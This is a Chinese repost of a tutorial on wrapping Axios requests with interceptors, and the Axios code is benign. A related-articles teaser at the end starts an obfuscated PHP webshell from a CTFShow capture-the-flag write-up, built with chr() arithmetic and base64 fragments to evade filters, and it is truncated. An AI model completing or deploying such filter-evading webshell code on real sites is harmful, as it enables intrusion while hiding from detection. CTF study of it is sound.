011 Axios网络请求封装

news/2025/2/23 11:07:47/文章来源:https://www.cnblogs.com/zhangxiaoguo/p/18715367

  在日常应用过程中,一个项目中的网络请求会很多,此时一般采取的方案是将网络请求封装起来

  在src目录下创建文件夹utils,并创建文件request,用来存储网络请求对象axios

  

 

所有安装包都在这个package.json里面可以查看。

在src文件中创建utils文件夹(网络请求的方法),在utils文件夹中在或者创建一个网络请求,可以叫request.js(或者http.js)

 

 在src中在创建api文件夹(网络请求一般都集中放到这里),在新建path.js文件和indes.js文件

 

import axios from "axios"
import qs from "querystring"

const errorHandle = (status, info) => {
    switch(status){
      
  case 400:
            console.log("语义有误");
            break;
        case 401:
            console.log("服务器认证失败");
            break;
        case 403:
            console.log("服务器拒绝访问");
            break;
        case 404:
            console.log("地址错误");
            break;
        case 500:
            console.log("服务器遇到意外");
            break;
        case 502:
            console.log("服务器无响应");
            break;
            default:
                console.log(info);
                break;
    }
}
const instance = axios.create({
    timeout: 5000
})

instance.interceptors.request.use(
    config => {
        if (config.method === "post") {
            config.data = qs.stringify(config.data)
        }
        return config;
    },
    error => Promise.reject(error)
)
instance.interceptors.response.use(
    response => response.status === 200? Promise.resolve(response) : Promise.reject(response),
    error => {
        const { response } = error;
  errorHandle(response.status, response.info)
  }
  )
  export default instance;
在 src 目录下创建文件夹 api,并创建文件 index 和 path 分别用来存放网络请求方法和请求路径。
 
 
 
 
 
 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/883718.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CTFShow-Web168:免杀脚本

CTFShow-Web168:免杀脚本 对eval,system还有$_POST和$_GET进行过滤,$_REQUEST还可以用 🛠️ Web167 WriteUp 提供一个免杀脚本: <?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode(bw==).base64_decode(bQ==).base64_decode(ZQ==),chr(0x16964…

搭建gitlab runner

1、搭建runner 镜像:gitlab/gitlab-runner:latest 2、注册runner,输入gitlab-runner register命令 root@runner-6f49c57c49-5889v:/# gitlab-runner register Runtime platform arch=amd64 os=linux pid=1054 revision=81ab07f6 version=1…

前端开发过程小知识点记录(开发过程实时更新)

1.#main div 距离页面顶部和左边有间距,但是并没有人为设置 出现现象图: 原因:大多数浏览器会为 body 和 html 元素添加默认的外边距。可以通过重置这些样式来解决此问题。 解决办法:在css中清除浏览器的默认样式 html, body { margin: 0; /* 清除默认外边距 */ padding: 0…

Idea自动生成注释

原文链接 使用IDEA配置自动生成注释。 1 创建类时自动加注释 点击左上角菜单栏的 file -> Setting -> Editor -> File and Code Templates -> Includes -> File Header输入如下内容: /***@Author: 代码的路*@Date: ${DATE} ${TIME}*@Param: *@Return: *@Descri…

JavaIO流(三)

6.转换流 不同编码读取出现乱码的问题:如果代码编码和被读取的文本文件编码是一致的,使用字符流读取文本时不会出现乱码 如果代码编码和被读取的文本文件编码是不一致的,使用字符流读取文本时就会出现乱码InputStreamReader(字符输入转换流) 是Reader抽象类下的实现类解决…

pycharm上传github问题:rejected

我从pycharm上传项目时,遇到的问题:以下是一些解决思路: 这个错误提示表明,你在尝试将本地代码推送到远程仓库时,远程仓库中已经包含了你本地尚未获取的更改。换句话说,远程仓库的代码比你的本地代码更新。Git 为了防止冲突,拒绝了你的推送操作。 错误原因 这种情况通常…

EDR简介

一、什么是edr 终端检测与响应(EDR)是一种安全解决方案,可检测并响应勒索软件和恶意软件等威胁。它通过持续监控端点可疑活动来工作,方法是收集有关事件的数据,如系统日志、网络流量、进程间通信 (IPC)、RPC 调用、身份验证尝试和用户活动。 安装在端点上的 EDR 将收集数据…

KUKA库卡KR210机器人维修解决方案概览

库卡KR210机器人,作为一款集高性能与广泛适用性于一体的工业机器人,在众多生产线上发挥着举足轻重的作用。在其高效运转的过程中,难免会遇到一些故障,及时的维修与保养就显得尤为重要。以下,将详细阐述一些常见的维修方法及其注意事项,以期为使用者提供更为全面的指导。常…

NetScaler Console 13.1 Build 57.26 发布,新增功能概览 (集中管理 NetScaler)

NetScaler Console 13.1 Build 57.26 发布,新增功能概览 (集中管理 NetScaler)NetScaler Console Release 13.1 Build 57.26 (ESXi, Hyper-V, KVM, Xen) Formerly known as Citrix ADM - 集中管理 NetScaler 请访问原文链接:https://sysin.org/blog/netscaler-console-13/ 查…

NetScaler 13.1 Build 57.26 发布,新增功能概览 (混合多云应用交付控制器)

NetScaler 13.1 Build 57.26 发布,新增功能概览 (混合多云应用交付控制器)NetScaler Release 13.1 Build 57.26 (nCore, VPX, SDX, CPX, BLX) Formerly known as Citrix ADC - 混合多云应用交付控制器 请访问原文链接:https://sysin.org/blog/netscaler-13/ 查看最新版。原创…

keycloak~认证与校验使用说明

主要内容密码认证 授权码认证 哪个client申请的code,使用哪个client获取token 客户端认证 在kc开通了服务端帐号之后,可通过client_id和client_secret来获取token,与用户无关,无刷新token机制 自动触发社区认证 当用户在社区网站上登录后,访问这个地址可自动登录法宝 验证…

Dify报错model schema not found

工作室操作 Agent 选择模型时对话报错: "Model schema not found" error only in agents是因为没打开模型的函数调用功能:当然,也不是所有模型都支持该功能。 本文已收录在Github,关注我,紧跟本系列专栏文章,咱们下篇再续!🚀 魔都架构师 | 全网30W+技术追随…